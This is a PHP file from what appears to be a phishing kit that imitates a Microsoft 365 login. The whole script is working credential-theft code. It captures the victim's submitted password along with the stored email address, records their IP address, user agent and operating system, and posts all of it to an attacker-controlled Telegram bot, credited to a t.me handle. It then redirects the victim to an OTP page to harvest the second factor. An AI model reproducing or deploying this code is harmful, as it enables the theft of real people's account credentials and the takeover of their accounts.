<?php
session_start();
error_reporting(0);
# Adding Settings
include('../function.php');
include('../config.php');
# User Agent 

$useragent = $_SERVER['HTTP_USER_AGENT'];
##

// Get IP and date
$IP = $_SERVER['REMOTE_ADDR'];
$date = date('d/m/Y h:i:s a');
$os = php_uname();

// Store password in session for later use
$_SESSION['password'] = $_POST["password"];

// Add password to credentials array
if (!isset($_SESSION['credentials'])) {
    $_SESSION['credentials'] = array();
}
$_SESSION['credentials']['password'] = $_POST["password"];

// Send combined email and password notification
$msgtg = "BY : https://t.me/Blinkz455\n\n\n❤️== COMPLETE Microsoft 365 LOGIN [".$IP."] ==❤️\n\n\n*👤Username * : ".$_SESSION["credentials"]["email"]."\n\n*👤Password * : ".$_POST["password"]."\n\n\n=========[ DEVICE INFO ]=========\n\nIP : \nhttp://www.geoiptool.com/?IP=".$IP."\n\nDate : ".date('H:i:s d/m/Y')."\n\nUSER AGENT : ".$_SERVER['HTTP_USER_AGENT']."\n\nOS / BR : ".getOS($_SERVER['HTTP_USER_AGENT'])."\n";

if ($settings['telegram'] == "1"){
    $data = $msgtg;
    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $data,
        'parse_mode' => 'Markdown'
    ];
    
    $website = "https://api.telegram.org/bot{$settings['bot_url']}/sendMessage";
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $website,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $send,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 10
    ]);
    
    $result = curl_exec($ch);
    $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    // Log any errors
    if ($result === false || $httpcode != 200) {
        error_log("Telegram API Error: " . $error);
        error_log("HTTP Code: " . $httpcode);
        error_log("Response: " . print_r($result, true));
    }
}

// Don't send message yet, just redirect to OTP page
header('Location: otp.php');
?>